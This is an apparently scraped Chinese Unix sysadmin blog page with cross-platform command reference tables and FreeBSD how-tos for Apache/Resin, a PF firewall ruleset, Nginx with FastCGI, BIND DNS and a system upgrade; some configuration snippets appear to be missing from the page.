Network parameters	sysctl -a \| grep net	Ndd /dev/[tcp\|ip] ?
Routing daemon	routed	in.routed	routed
NIC Configurations	ifconfig -a	ifconfig –a	ifconfig -a
Secondary IP Addr	modprobe ip_alias ifconfig eth0:1 IP	ifconfig hme0:1 IP up	ifconfig ln0 alias
Login prompt	/etc/issue	BANNER @ /etc/default/telnetd	/etc/issue
Increase the # of pseudo-terminals	cd /dev ./MAKEDEV -v pty	{/etc/system} set pt_cnt = # {SYSV} set npty = # {BSD} {/etc/iu.ap} ptsl 0 # ldterm ttcompat halt boot –r	cd /dev ./MAKEDEV PTY_1
Maximum # of ptys	256	176 {BSD} 3000 {SYSV}	8192
Remote Shell	rsh	Rsh	rsh
YP/NIS service binder	/sbin/ypbind	/usr/lib/netsvc/yp/ypbind	/usr/sbin/ypbin

主流服务器UNIX操作系统系统文件

System Files	AIX	FreeBSD	HP-UX
NFS exported	/etc/exports	/etc/exports	/etc/exports
NFS Client mounted directories	/etc/xtab		/etc/xtab
Max File System	128 GB		128 GB
Max File Size	64 GB		128 GB
Max # File Descriptors	64 K		60~ K

System Files	Linux (RedHat)	Solaris	Tru64
NFS exported	/etc/exports	/etc/dfs/dfstab /etc/dfs/sharetab	/etc/exports
NFS Client mounted directories	/var/lib/nfs/xtab	/etc/rmtab	/var/adm/mountdtab
Max File System	2 TB	1 TB 8000 TB {vxfs}	128 GB {<= 3.2G} 512 GB {>= 4.0} 16 TB {advfs}
Max File Size	2 GB {512B block size} 8192 GB {8KB block size}	1 TB 2 GB {=<2.5.1}	128 GB {<= 3.2G} 512 GB {>= 4.0} 16 TB {advfs}
Max # File Descriptors	sysctl fs.file-max	64 K	64 K

主流服务器UNIX操作系统磁盘与逻辑卷命令

DISK/LVM Commands	AIX	FreeBSD	HP-UX
Filesystem table	/etc/filesystems	/etc/fstab	/etc/fstab
Free disk blocks	df -k	df -k	Bdf
Device listing	lsdev -C		/sbin/ioscan
Disk information	bootinfo -s hdisk#	fdisk -v ad0	diskinfo /dev/rdsk/c#t#d#
Disk Label	lspv -l hdisk#	disklabel ad0	pvdisplay -v /dev/dsk/C#t#d#
LVM Concepts	Partition	sub disk	logical extents
	Volume	Volume	logical volume
		Plex
	Volume group		volume group
Journal Filesystem type	jfs		Vxfs
Default volume group	/dev/rootvg		/dev/vg00
Display volume group	lsvg -l rootvg		vgdisplay -v vg00
Modify physical volume	chpv		Pvchange
Prepare physical disk	mkdev -c disk -l hdisk#		pvcreate
List physical volume	lspv	vinum ld	pvdisplay
Remove disk from volume group	reducevg		vgreduce
Move logical volumes to another physical volumes	migratepv	vinum move -f drive object	pvmove
Create volume group	mkvg		vgcreate
Remove volume group			vgremove
Volume group availability	chvg varyonvg varyoffvg		vgchange
Restore volume group			vgcfgrestore
Exports volume group	exportvg		vgexport
Imports volume group	importvg		vgimport
Volume group listing	lsvg		vgscan
Change logical volume characteristics	chlv		lvchange
List logical volume	lslv	vinum lv	lvdisplay
Make logical volume	mklv		lvcreate
Extend logical volume	extendlv		lvextend
Reduce logical volume	AIX reduce LV		lvreduce
Remove logical volume	rmlv	vinum rm vol	lvremove
Prepare boot volumes	bootlist -m normal		lvlnboot
Remove boot volumes			lvrmboot
Extend File system	chfs -a size=# /mt		extendfs /dev/vg00/lvol8 fsadm -F vxfs -b {LE * 1024} /mt
Reduce/Split mirrors	rmlvcopy		lvsplit
Merge mirrors			lvmerge
Create mirrors	mklv -c 2	vinum mirror drive	lvcreate -m 1
Add mirrors	mklvcopy lv 2		lvextend -m 1
Create striped volumes	mklv -u 3 -S 64K	vinum stripe drive	lvcreate -i 3 -I 64
System recovery tape	mksysb -i /dev/rmt0		/opt/ignite/bin/make_recovery
Backup	savevg -i rootvg	vinum saveconfig	fbackup
Restore	restvg		frecover

主流服务器UNIX操作系统磁盘与逻辑卷命令 续

DISK/LVM Commands	Linux (RedHat)	Solaris (SPARC)	Tru64
Filesystem table	/etc/fstab	/etc/vfstab	/etc/fstab
Free disk blocks	df -k	df –k	df -k
Device listing	cat /proc/devices	Sysdef
Disk information	cat /proc/scsi/scsi0/sda/model	format -d c#t#d# format>current format>inquiry	file /dev/rrz0c
Disk Label	fdisk -l	Prtvtoc	disklabel -p rz0
LVM Concepts	logical extents	sub disk	sub disk
	logical volume	Volume	Volume
		Plex	Plex
	volume group	disk group	disk group
Journal Filesystem type	ext2	Vxfs	advfs
Default volume group		/dev/vx/dsk/rootdg	/dev/vol/rootdg
Display volume group	vgdisplay -v	vxprint -l -g rootdg	volprint -l -g rootdg
Modify physical volume	pvchange
Prepare physical disk	pvcreate	vxdiskadd	voldiskadd
List physical volume	pvdisplay	vxprint -dl	volprint -dl
Remove disk from volume group	vgreduce	vxdg rmdisk	voldg rmdisk
Move logical volumes to another physical volumes	pvmove	vxassist move	volassist move
Create volume group	vgcreate	vxdg init	voldg init
Remove volume group	vgremove
Volume group availability	vgchange
Restore volume group	vgcfgrestore
Exports volume group	vgexport	vxdg deport	voldg deport
Imports volume group	vgimport	vxdg import	voldg import
Volume group listing	vgscan
Change logical volume characteristics	lvchange	vxedit set	voledit set
List logical volume	lvdisplay	vxprint -vl	volprint -vl
Make logical volume	lvcreate	vxassist make	volassist make
Extend logical volume	lvextend	vxassist growto	volassist growto
Reduce logical volume	lvreduce	vxassist shrinkto	volassist shrinkto
Remove logical volume	lvremove	vxedit rm	voledit -g rootdg -rf rm vol1
Prepare boot volumes	lilo	vxbootsetup
Remove boot volumes
Extend File system	resize2fs	vxva mkfs -M
Reduce/Split mirrors	lvsplit
Merge mirrors	lvmerge
Create mirrors		vxassist mirror	volassist make vol 100mb mirror=true
Add mirrors
Create striped volumes	lvcreate -i 3 -I 64	vxassist make vol 100mb layout=raid5	volassist make vol 100mb layout=stripe
System recovery tape			/usr/sys/bin/btcreate
Backup	tar cvf /dev/rst0 /	ufsdump	vdump
Restore	tar xvf /dev/rst0	ufsrestore	vrestore

主流服务器UNIX操作系统安装与卸载

Software	AIX	FreeBSD	HP-UX
Install Software	installp -a	pkg_add	swinstall
Uninstall software	installp -u	pkg_delete	swremove
List installed software	lslpp -L all	pkg_info -a	swlist
Verify installed software	lppchk -v		swlist -l fileset -a state
List all files	lslpp -f fileset	pkg_info -L package	swlist -l file fileset
List installed patches	instfix -i		swlist -l patch what /stand/vmunix
Package owner	lslpp -w path		swlist -l file \| grep path
SW Directory	/usr/lpp	/var/db/pkg	/var/adm/sw/

Software	Linux (RedHat)	Solaris (SPARC)	Tru64
Install Software	rpm -i package	pkgadd	setld -l
Uninstall software	rpm -e package	pkgrm	setld -d
List installed software	rpm -qa	pkginfo	setld -i
Verify installed software	rpm -V package	pkginfo -i pkginfo -p	setld -v
List all files	rpm -ql package	pkgchk -l package	setld -i package
List installed patches		patchadd -p	dupatch -track -type patch
Package owner	rpm -qf file	pkgchk -l -p path
SW Directory	/var/lib/rpm	/var/sadm	/var/adm/smlogs

主流服务器UNIX操作系统技术支持信息

`Links`	`AIX`	`HP-UX`	`Linux (RedHat)`
`FAQ`	`AIX-FAQ`	`HP-UX FAQ`	`LINUX FAQ`
`Online Manual`	`AIX 4.3 Books`	`HP-UX 11.00 Collection`	`Linux Documentation Project`
`Technical Support`	`RS/6000 TechSupport`	`IT Resource Center`	`Red Hat support`
`Phone Number`	`1-800-CALL-AIX`	`1-800-633-3600`	`1-888-REDHAT1`
`Free Software`	`Bull`	`HP-UX Ports`	`Linux Software Map`
`Certification`	`www.ibm.com`	`education.hp.com`	`RHCE`

`Links`	FreeBSD	`Solaris (SPARC)`	`Tru64`
`FAQ`	FreeBSD FAQ	`Solaris 2 FAQ`	`Tru64 FAQ`
`Online Manual`	FreeBSD Hand Book	`Solaris 7 Documentation`	`Tru64 Documents`
`Technical Support`		`SunSolve`	`Alpha Systems Support`
`Phone Number`		`1-800-USA-4SUN`
`Free Software`	FreeBSD Primary Site	`Sun Freeware`	`Tru64 Demos, Shareware & Freeware`
`Certification`		`suned.sun.com`	`ASE Information`

主流服务器UNIX操作系统其它命令

MISC	AIX	FreeBSD	HP-UX
Startup script	/etc/rc	/etc/rc	/sbin/rc
Kernel	/usr/lib/boot/unix_up	/kernel	/stand/vmunix
Kernel Parameters	lsattr -E -l sys0	sysctl -a	sysdef kmtune kmsystem
Reconfigure the kernel	chdev -l sys0 -a	cd /sys/i386/conf vi KERNEL config KERNEL cd ../../compile\ /KERNEL make depend make make install	cd /stand/build\ /usr/lbin/sysadm\ /system_prep -v -s system vi system mk_kernel -s system cd /stand mv system system.prev mv vmunix vmunix.prev mv dlkm dlkm.prev mv /stand/build\ /system system kmupdate /stand/build\ /vmunix_test
List modules	genkex	kldstat	kmadmin –s
Load module		kldload	kmadmin –L
Unload module		kldunload	kmadmin –U
Initialize system	install_assist	/stand/sysinstall	set_parms initial
Physical RAM	bootinfo -r	sysctl hw.physmem	grep -i Physical\ /var/adm/syslog\ /syslog.log
Kernel Bits	bootinfo -k		getconf KERNEL_BITS
Crash utility	Crash	crash	Adb
Trace System Calls	Syscalls	truss	tusc
Machine model	uname -m bootinfo -m	uname -m	model uname -m
OS Level	Oslevel	uname -r	uname -r
Run Level	who –r		who -r
Core dump files	/var/adm/ras		/var/adm/crash
Boot single user	Key on service mode/F4 Boot from CD/Tape Select Maintenance Limited function Shell	ok boot –s	>boot Interact with IPL ? Y ISL>hpux -iS
Maintenance mode		ok boot –as	>boot Interact with IPL ? Y ISL>hpux -lm
Interrupt Key			control-B
Return to console			Co
Timezone Management	/etc/environment /etc/profile	/etc/localtime	/etc/TIMEZONE
NTP Daemon	/etc/ntp.conf startsrc -s xntpd	/etc/rc.conf {xntpd enable=”YES”} /etc/rc.network	/etc/rc.config.d\ /netdaemons /sbin/init.d/xntpd

主流服务器UNIX操作系统其它命令 续

MISC	Linux (RedHat)	Solaris (SPARC)	Tru64
Startup script	/etc/rc.d/rc	/sbin/init.d	/sbin/init.d
Kernel	/boot/vmlinuz	/kernel/genunix	/vmunix
Kernel Parameters	sysctl -a	sysdef –I	sysconfig dxkerneltuner
Reconfigure the kernel	cd /usr/src/linux make mrproper make menuconfig make dep;clean;bzImage;install make modules make modules_install cp arch/i386/boot/bzImage /boot/vmlinuz mkinitrd /boot/initrd-2.4.img 2.4 vi /etc/lilo.conf lilo	vi /etc/system reboot	doconfig
List modules	lsmod	modinfo
Load module	insmod	modload
Unload module	rmmod	modunload
Initialize system	netconf	sys-unconfig	netsetup
Physical RAM	free	prtconf	uerf \| grep memory
Kernel Bits	getconf WORD_BIT	isainfo -kv	64
Crash utility	lcrash	crash	kdbx
Trace System Calls	strace	truss	trace
Machine model	uname -m	uname -imp	uname -p
OS Level	uname -r	uname -r	sizer -v
Run Level	runlevel	who -r	who -r
Core dump files		/var/crash/`uname -n`
Boot single user	{lilo} control-x linux S {grub} c kernel vmlinuz-2.4.9-13 single ro root=/dev/hda8 initrd /initrd-2.4.9-13.img boot	ok boot -s	>>> boot -fl s
Maintenance mode		ok boot -as
Interrupt Key		Stop-A	control-P
Return to console		ok go
Timezone Management	/etc/sysconfig/clock	/etc/TIMEZONE /etc/default/init	/etc/svid3_tz timezone
NTP Daemon	/etc/ntp.conf /etc/rc.d/init.d/xntpd	/etc/inet/ntp.conf /etc/init.d/xntpd	rcmgr set XNTPD_CONF YES /sbin/init.d/xntpd

主流服务器UNIX操作系统设备管理

`Devices`	`AIX`	`FreeBSD`	`HP-UX`
`Devices`	`/dev`	`/dev`	`/dev`
`Install devices for attached peripherals`	`cfgmgr –v`	`/dev/MAKEDEV`	`insf -e`
`Remove device`	`rmdev –l`		`rmsf`
`Device drivers`	`Lscfg`		`lsdev`
`CPU`	`lsdev -Cc processor`	`sysctl hw.model`	`ioscan -fnC processor`
`List Terminal`	`lsdev -Cc tty`		`ioscan -fnC tty`
`Diagnostics`	`Diag`	`pciconf -l`	`Stm`
`Whole Disk`	`/dev/hdisk#`	`/dev/ad0s1c`	`/dev/dsk/c#t#d0`
`CDROM`	`/dev/cd0`	`/dev/acd0c`	`/dev/dsk/c#t2d0`
`CDROM file type`	`Cdrfs`	`cd9660`	`Cdfs`
`Rewinding tape drive`	`/dev/rmt0`	`/dev/rwt0d`	`/dev/rmt/0m`
`Floppy drive`	`/dev/rfd0`	`/dev/fd0`	`-`
`Non-rewinding tape drive`	`/dev/rmt0.1`	`/dev/nrwt0d`	`/dev/rmt/0mn`

`Devices`	`Linux (RedHat)`	`Solaris (SPARC)`	`Tru64`
`Devices`	`/dev`	`/devices`	`/dev`
`Install devices for attached peripherals`	`/dev/MAKEDEV`	`drvconfig` `devlinks` `disks` `tapes` `ports`	`scu scan edt` `scsimgr -scan_all`
`Remove device`		`rem_drv`
`Device drivers`		`prtconf -D`
`CPU`	`cat /proc/cpuinfo`	`psrinfo -v`	`psrinfo -v`
`List Terminal`		`pmadm -l`
`Diagnostics`		/usr/platform/`uname -m`/ `sbin/prtdiag` `ok test-all` `/opt/SUNWvts/bin/sunvts`
`Whole Disk`	`/dev/sda`	`/dev/c#t#d0s2`	`/dev/rz0c`
`CDROM`	`/dev/cdrom`	`/dev/dsk/c#t6d0s2`	`/dev/rz3c`
`CDROM file type`	`iso9660`	`hsfs`	`cdfs`
`Rewinding tape drive`	`/dev/rst0 {c 9 0}`	`/dev/rmt/0`	`/dev/rmt0`
`Floppy drive`	`/dev/fd0`	`/dev/diskette`	`/dev/fd0c`
`Non-rewinding tape drive`	`/dev/nrst0 {c 9 128}`	`/dev/rmt/0n`	`/dev/nrmt0`

Freebsd下apache与resin整合手册

admin — Wed, 21 Jan 2009 10:35:46 +0000

一、安装freebsd
略
二、安装mysql
略
三、安装apache
略
四、安装php
略
五、安装resin
安装resin等back-end
1 、# cd /usr/ports/www/resin3
2、# make WITH_APACHE2=yes install clean
3、编辑httpd.conf 在后面加入以下内容：

ResinConfigServer localhost 6802

4、设置resin3随机启动
5、 echo ‘resin3_enable=”YES” ‘ >> /etc/rc.conf
6、手动启动resin3
#/usr/local/etc/rc.d/resin3.sh start

六、整合apache与resin
在apache增加二级域名
现在以coopunion.ding9.com 二级域名（虚拟主机）为例
a、在httpd.conf 增加下面内容
Alias /coopunion /usr/local/www/apache22/uniondata/coopunion

Order allow,deny
Allow from all

ServerAdmin webmaster@ding9.net
DocumentRoot /usr/local/www/apache22/uniondata/coopunion
ServerName coopunion.ding9.local
ServerAlias ding9.com
# RewriteEngine on

在resin增加二级域名。
编辑/usr/local/etc/resin3/resin.xml
vi /usr/local/etc/resin3/resin.xml

找到这下一段话:

改为：

再找到下面这段话：

改为下面这样：

# options
#設定拒絕連線封包的處理方式
set block-policy return
#
set optimization aggressive
#紀錄 $ext_if
set loginterface $ext_if

# scrub
#整理封包
scrub in all

#nat
#NAT 位址轉譯處理
nat on $ext_if from $int_if:network to any -> $ext_if

#ftp-proxy
#ftp-proxy 重新導向
rdr on $int_if proto tcp from any to any port 21 -> 127.0.0.1 port 8021
#rdr on $ext_if proto tcp from any to 140.111.152.13 port 21 -> 192.168.13.253 port 21
#Transparent Proxy Server
rdr on rl0 proto tcp from 192.168.13.0/24 to any 80 -> 127.0.0.1 port 3128

#阻擋可疑封包在 $ext_if 網卡進出
antispoof log quick for $ext_if

#阻擋所有進出的封包
block all

#開放 loopback
pass quick on lo0 all

#拒絕內部私有 IP 對 $ext_if 網路卡連線
block drop in quick on $ext_if from $priv_nets to any
block drop out quick on $ext_if from any to $priv_nets

#開放對外的 80, 443 埠
pass in on $ext_if inet proto tcp from any to $ext_if port $open_services flags S/SA keep state
#只容許 140.111.152.0/24 網段對本機做 22 埠連線
pass in on $ext_if inet proto tcp from 140.111.152.0/24 to $ext_if port 22 flags S/SA keep state

#開放內部網路對外連線
#pass in on $inf_if proto rcp from any to any queue std_in
pass in on $int_if from $int_if:network to any keep state
pass out on $int_if from any to $int_if:network keep state

#開放對外網路的連線
#pass out $ext_if proto tcp from any to any queue std_out
pass out on $ext_if proto tcp all modulate state flags S/SA
pass out on $ext_if proto { udp, icmp } all keep state

啟動 PF，並讀取 pf 規則
pfctl -e;pfctl -f /etc/pf.conf

PF 指令的用法
#啟動 PF
pfctl -e
#載入 PF 規則
pfctl -f /etc/pf.conf
#檢查 PF 語法是否正確 (未載入)
pfctl -nf /etc/pf.conf
#停用 PF
pfctl -d
#重讀 PF 設定檔中的 NAT 部分
pfctl -f /etc/pf.conf -N
#重讀 PF 設定檔中的 filter rules
pfctl -f /etc/pf.conf -R
#重讀 PF 設定檔中的選項規則
pfctl -f /etc/pf.conf -O

#查看 PF 資訊
#顯示現階段過濾封包的統計資料
pfctl -s info
pfctl -si

pfctl -s memory

#顯示現階段過濾的規則
pfctl -s rules
pfctl -sr

pfctl -vs rules

#顯示現階段過濾封包的統計資料
pfctl -vsr

#顯示現階段 NAT 的規則
pfctl -s nat
pfctl -sn

#檢視目前佇列
pfctl -s queue

#顯示現階段所有統計的資料
pfctl -s all
pfctl -sa

#清除 PF 規則
#清空 NAT 規則
pfctl -F nat
#清空佇列
pfctl -F queue
#清空封包過濾規則
pfctl -F rules
#清空計數器
pfctl -F info
pfctl -F Tables
#清空所有的規則
pfctl -F all

#PF Tables 的使用
#顯示 table 內資料
pfctl -t ssh-bruteforce -Tshow
pfctl -t table_name -T add spammers.org
pfctl -t table_name -T delete spammers.org
pfctl -t table_name -T flush
pfctl -t table_name -T show
pfctl -t table_name -T zero

過濾掃描偵測軟體
block in quick proto tcp all flags SF/SFRA
block in quick proto tcp all flags SFUP/SFRAU
block in quick proto tcp all flags FPU/SFRAUP
block in quick proto tcp all flags /SFRA
block in quick proto tcp all flags F/SFRA
block in quick proto tcp all flags U/SFRAU
block in quick proto tcp all flags P
如果防火牆和 Proxy Server 不在同一台主機
Proxy Server：192.168.13.250
no rdr on rl0 proto tcp from 192.168.13.250 to any port 80
rdr on rl0 proto tcp from 192.168.13.0/24 to any port 80 -> 192.168.13.250 port 3128

Nginx在FreeBsd下的安装与配置

admin — Fri, 16 Jan 2009 07:56:46 +0000

What for? Nginx is a great replacement of Apache with very low memory footprint and contrary to

Lighttpd, doesn’t suffer from memory leak over time. You can then use all the memory left to

unleash the power of mysql for instance by increasing the default query cache.

Step1 安装必备软件
MySQL+PHP+Pcre
cd /usr/ports/database/mysql50-server && make install clean
cd /usr/lang/php5/ && make install clean
cd /usr/devel/pcre && make install clean

Step2 安装FastCgi(借用lighttpd的spawn-cgi)
wget http://www.lighttpd.net/download/lighttpd-1.4.18.tar.bz2
tar -xvjf lighttpd-1.4.18.tar.bz2 cd lighttpd-1.4.18
cd lighttpd-1.4.18
./configure
make
cp src/spawn-fcgi /usr/bin/spawn-fcgi

vi /usr/bin/php-fastcgi
#!/bin/sh

/usr/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -u www -f /usr/local/bin/php-cgi
chmod 755 /usr/bin/php-fastcgi

vi /etc/rc.d/init-fastcgi
#!/bin/bash

PHP_SCRIPT=/usr/bin/php-fastcgi
RETVAL=0
case “$1″ in
start)
$PHP_SCRIPT
RETVAL=$?
;;
stop)
killall -9 php
RETVAL=$?
;;
restart)
killall -9 php
$PHP_SCRIPT
RETVAL=$?
;;
*)
echo “Usage: php-fastcgi {start|stop|restart}”
exit 1
;;
esac
exit $RETVAL
chmod 755 /etc/rc.d/init-fastcgi

Step3 安装Nginx(本文用目前稳定版)
wget http://sysoev.ru/nginx/nginx-0.5.32.tar.gz
tar xvzf nginx-0.5.32.tar.gz
cd nginx-0.5.32
./configure (默认安装在/usr/local/nginx)
make && make install

Step4 配置Nginx (主要修改)
cp conf/fastcgi_params /usr/local/nginx/conf/fastcgi_params
location / {
root /var/www/wordpress; (此处就是你的web根目录)
index index.php index.html index.htm;
}
location ~ .*\.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/wordpress$fastcgi_script_name;
include /usr/local/nginx/conf/fastcgi_params;
}

Step5 启动
/etc/rc.d/init-fastcgi start
/usr/local/nginx/sbin/nginx 效果如下：

FREEBSDUNIX DNS服务器建设

admin — Wed, 14 Jan 2009 05:04:36 +0000

提纲
设置DNS服务器。 ………………………………
A、建立正反向解析目录 …………………………….
B、改变正反向解析目录属性 ………………………….
C、生成正反向解析文件的例子文件 ……………………..
D、生成这正反向解析文件 ……………………………..
E、设置DNS服务器的主域 ………………………………..
F、设置DNS服务器反向解析文件 …………………………..
H、设置DNS服务器的正向解析文件 ……………………..
I、生成DNS服务器的key文件 ………………………
J、启动DNS服务器 ……………………………………
K、设置本机DNS服务器地址 ……………………………

设置DNS服务器
(注：以下的配置环境为：Hostname :ns1.ding9.com ip:172.16.16.205 #符号为特别说明外，一般是指root的操作环境符，代表命令操作都是在ROOT的权限内操作。)
Freebsd unix 6 已带了稳定的bind 9.31，现在就用bind9.31 来设置dns服务器。也可以升级安装最新版的bind9.31 ，然后设置dns服务器。

^?View Code TEXT

# cd /usr/ports/dns/bind9 
# make install clean 
A、	建立正反向解析目录.
# mkdir /etc/namedb/rev 
# mkdir /etc/namedb/hosts 
B、	建立正反向解析目录.
#mkdir /etc/namedb/rev 
#mkdir /etc/namedb/hosts
C、	改变正反向解析目录属性。
# chown bind:bind /etc/namedb/rev 
# chown bind:bind /etc/namedb/hosts 
# chmod 750 /etc/namedb/rev 
# chmod 750 /etc/namedb/hosts 

D、	生成正反向解析文件的样例文件
# cd /etc/namedb 
# sh make-localhost 
E、	生成这正反向解析文件
#cp /etc/namedb/master/localhost.rev /etc/namedb/rev/172.16.16.rev 
#cp /etc/namedb/master/localhost.rev /etc/namedb/hosts/ding9.com.hosts 
F、	设置DNS服务器的主域。
# vi  /etc/namedb/named.conf 
加下以下内容：
zone "16.16.172.IN-ADDR.ARPA" { 
        type master; 
        file "/etc/namedb/rev/172.16.16.rev"; 
}; 
zone "ding9.com" { 
        type master; 
        file "/etc/namedb/hosts/ding9.com.hosts"; 
}; 
G、	设置DNS服务器反向解析文件。
#vi /etc/namedb/rev/172.16.16.rev 
 修改内容如下：
$TTL    3600
 
@       IN      SOA     ns1.ding9.com. root.ns1.ding9.com.  (
                                20060616        ; Serial
                                3600    ; Refresh
                                900     ; Retry
                                3600000 ; Expire
                                3600 )  ; Minimum
        IN      NS      ns1.ding9.com.
205      IN      PTR     ns1.ding9.com.
205      IN      PTR     www.ding9.com.
205      IN      PTR     log.ding9.com.
205      IN      PTR     ftp.ding9.com.
205      IN      PTR     mail.ding9.com.
205     IN      PTR     it.ding9.com.
205	IN		 PTR		51map.ding9.com
205是你的IP地址
（增加反向解析PTR记录  注意：不建议全部的域名及二级域名增加PTR记录）. It 51map为跟公司有业务合作的域名，在这里是作个域名转向。
H、	设置DNS服务器的正向解析文件.
# vi /etc/namedb/hosts/ding9.com.hosts 
修改内容如下：
$TTL    3600
 
@       IN      SOA     ns1.ding9.com. root.ns1.ding9.com.  (
                                20060312        ; Serial
                                3600    ; Refresh
                                900     ; Retry
                                3600000 ; Expire
                                3600 )  ; Minimum
        IN      NS      ns1.ding9.com.
ns1     IN      A       211.155.30.205
www     IN      A       211.155.30.205
log     IN      A       211.155.30.205
ftp     IN      A       211.155.30.205
mail    IN      A       211.155.30.205
it      IN      CNAME   itpub.it.com.cn.
51mp    IN      A       218.85.137.38
ding9.com.      IN      MX      10      mail.ding9.com.
ding9.com.      IN      A       211.155.30.205
(注意：MX记录的添加要先做一个mail的A记录再做MX记录。MX记录添加的原则是用你的域名指向你的mail的二级域名。211.155.30.205 是顶九网公网IP，也是防火墙，如果服务器没有放在防火墙后面，那这ip就为服务器网卡直接绑定的ip)
I、	生成DNS服务器的key文件.
# /usr/sbin/rndc-confgen > /etc/namedb/rndc.conf 
J、	将key文件导入named.conf文件
# cd /etc/namedb 
# tail -n10 rndc.conf | head -n9 | sed -e s/#\ //g >> named.conf 
K、	启动DNS服务器.
# /usr/sbin/named -gc /etc/namedb/named.conf &
（& 表示后台运行） 
# /usr/sbin/rndc status 

 
（查看DNS的启动情况）
L、	设置本机DNS服务器地址.
#vi /etc/resolv.conf  
增加以下内容：
nameserver                      127.0.0.1 
nameserver                      202.96.128.68 
nameserver                         202.96.134.133 
nameserver                         202.99.96.68 
nameserver                         202.102.128.68 
nameserver                         211.155.23.88
nameserver                         211.155.27.88 
(所以选这么多DNS是考虑到冗余设计防止万一出错)
M、	删除或注释掉DNS服务器的监听地址.
注释掉
//  listen-on               { 127.0.0.1; };
（由于bind9在默认的情况下只是给自己，所以要去除监听地址）
重新加载dns 配置文件
#/usr/sbin/rndc reload
N、	使DNS服务器和系统一起启动
O、/etc/rc.conf 
添加 
named_enable="YES"

重启服务器。

Freebsd6.0 升级到freebsd7.0

admin — Fri, 19 Dec 2008 09:52:40 +0000

先定制standard-supfile文档.

# vim /usr/share/examples/cvsup/standard-supfile

把这项改成 *default release=cvs tag=RELENG_7_0, 存盘退出

# csup -gL2 -h cvsup3.freebsdchina.org /usr/share/examples/cvsup/standard-supfile
# cd /usr/src && mkae cleandir && make cleandir
# make buildworld
# make buildkernel
# make installkernel
# mergemaster -p
# make installworld
后面还几步看, Makefiles吧. 主要是清old lib 和 bin的. 做这些步骤前，最好先看下相关文档

FreeBSD 7.0 自带BIND配置DNS服务器

admin — Wed, 17 Dec 2008 12:49:13 +0000

cd /etc/named

rm -rf *

rndc-confgen > rndc.conf

tail -10 rndc.conf | head -9 | sed s/#\ //g > named.conf

fetch ftp://ftp.internic.org/domain/named.root

vi localhost.zone

$TTL 86400

$ORIGIN localhost.

@ 1D IN SOA @ root (

42 ; serial (d. adams)

3H ; refresh

15M ; retry

1W ; expiry

1D ) ; minimum

1D IN NS @

1D IN A 127.0.0.1

vi named.local

$TTL 86400

@ IN SOA localhost. root.localhost. (

1997022700 ; Serial

28800 ; Refresh

14400 ; Retry

3600000 ; Expire

86400 ) ; Minimum

IN NS localhost.

1 IN PTR localhost.

vi named.conf

options {

directory “/etc/namedb/”;

pid-file “/var/run/named/pid”;

allow-query { any; };

# statistics-file “/var/log/stats.log”;

version “Windows 2003 Dns Server v6.0″;

# listen-on port 53 { 192.168.23.133; };

recursion yes;

datasize 50M;

rrset-order { order random; };

};

logging {

channel warning {

file “/var/log/dns_warnings.log” versions 5 size 1024K;

severity warning;

print-category yes;

print-severity yes;

print-time yes;

};

channel security_log {

file “/var/log/dns_security.log” versions 5 size 1024K;

severity info;

print-category yes;

print-severity yes;

print-time yes;

};

channel query_log {

file “/var/log/dns_query.log” versions 10 size 1024K;

severity info;

print-category yes;

print-severity yes;

print-time yes;

};

category default { warning; };

category security { security_log; };

category queries { query_log; };

};

zone “.” IN {

type hint;

file “named.root”;

};

zone “localhost” IN {

type master;

file “localhost.zone”;

allow-update { none; };

};

zone “0.0.127.in-addr.arpa” IN {

type master;

file “named.local”;

allow-update { none; };

};

include “custom_dm.conf”; #包含域名定义文件

mkdir master

vi master/thismail.org.zone

$ORIGIN thismail.org.

$TTL 300

@ IN SOA ns1.thismail.org. webmaster.thismail.org. (

2008041001 ; serial number YYMMDDNN

28800 ; Refresh

7200 ; Retry

864000 ; Expire

300 ; Min TTL

)

thismail.org. IN NS ns1.thismail.org.

thismail.org. IN NS ns2.thismail.org.

ns1 IN A 192.168.23.133

thismail.org. IN MX 10 mail.thismail.org.

thismail.org. IN A 192.168.0.9

www IN A 192.168.0.9

mail IN A 192.168.0.25

pop IN CNAME mail.thismail.org.

smtp IN CNAME mail.thismail.org.

thismail.org. IN TXT ”v=spf1 ip4:192.168.0.25 ~all”

;邮件SPF设置

vi custom_dm.conf

zone “thismail.org” {

type master;

file “master/thismail.org.zone”;

};

touch /var/log/dns_warnings.log

touch /var/log/dns_security.log

touch /var/log/dns_query.log

chown bind /var/log/dns_warnings.log

chown bind /var/log/dns_security.log

chown bind /var/log/dns_query.log

vi /etc/rc.conf

named_enable=”YES”

/etc/rc.d/named start

Xshell:\> nslookup

> server 192.168.23.133

Default Server: [192.168.23.133]

Address: 192.168.23.133

> www.qq.com

Non-authoritative answer:

Server: [192.168.23.133]

Address: 192.168.23.133

Name: www-cdn.qq.com

Address: 60.28.232.119

Aliases: www.qq.com

> www.freebsdchina.org

Non-authoritative answer:

Server: [192.168.23.133]

Address: 192.168.23.133

Name: www.freebsdchina.org

Address: 61.129.66.78

测试thismail.org

> www.thismail.org

Server: [192.168.23.133]

Address: 192.168.23.133

Name: www.thismail.org

Address: 192.168.0.9

> set type=mx

> thismail.org

Server: [192.168.23.133]

Address: 192.168.23.133

thismail.org MX preference = 10, mail exchanger = mail.thismail.org

thismail.org nameserver = ns1.thismail.org

thismail.org nameserver = ns2.thismail.org

mail.thismail.org internet address = 192.168.0.25

ns1.thismail.org internet address = 192.168.23.133

> set type=txt

> thismail.org

Server: [192.168.23.133]

Address: 192.168.23.133

thismail.org text =

”v=spf1 ip4:192.168.0.25 ~all”

thismail.org nameserver = ns2.thismail.org

thismail.org nameserver = ns1.thismail.org

ns1.thismail.org internet address = 192.168.23.133

温室小花.技术.博客 --纯粹的unix技术博客 » freebsd unix

FreeBSD 8.0 releases Gnome2 简体中文安装全攻略(网上转摘）

FreeBSD爆严重安全漏洞.

FreeBSD下安装SysCP主机管理系统

FreeBSD传真服务器(FreeBSD+HylaFax+Apache+php+Mysql+AvantFax)

具有负载均衡功能的MySQL服务器集群部署及实现

如何制作freebsd7的DVD安装盘

FREEBSD+PF 在6.2上的架设放DDOS 攻击的网站

freebsd 播客安装教程(附带mencoder 转换)

Freebsd 安装php/java bridge 方法与日志

PCBSD7.1安装笔记(多图）

Freebsd 安装带杀毒功能的samba文件服务器

FreeBSD java开发环境配置手册

unix常用指令及参数

今天解决 discuz7.0打开不正常并报错1146的问题。

FreeBSD 7.1 下使用 Intel 4965无线网卡上网的方法

Bugzilla ON FreeBSD HOWTO

